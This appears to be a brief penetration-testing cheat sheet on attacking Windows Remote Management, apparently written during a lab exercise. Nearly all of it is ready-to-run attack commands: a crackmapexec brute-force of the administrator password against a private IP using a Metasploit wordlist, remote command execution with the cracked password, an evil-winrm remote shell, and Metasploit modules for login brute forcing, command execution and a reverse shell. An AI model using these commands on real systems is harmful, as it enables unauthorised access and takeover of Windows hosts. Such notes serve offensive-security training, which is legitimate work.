WINRM Exploitation

BruteForce

crackmapexec winrm 10.2.24.172 -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Execution commande

crackmapexec winrm 10.2.24.172 -u administrator -p tinkerbell -X systeminfo

Remote Shell

evil-winrm[.rb] -i 10.2.24.172 -u administrator -p tinkerbell

With Metasploitt

auxiliary/scanner/winrm/winrm_auth_methods #check if winrm is up
auxiliary/scanner/winrm/winrm_login #brute force and login
auxiliary/scanner/winrm/winrm_cmd #send command
auxiliary/scanner/winrm/winrm_script_exec #reverse shell /set FORCE_VBS true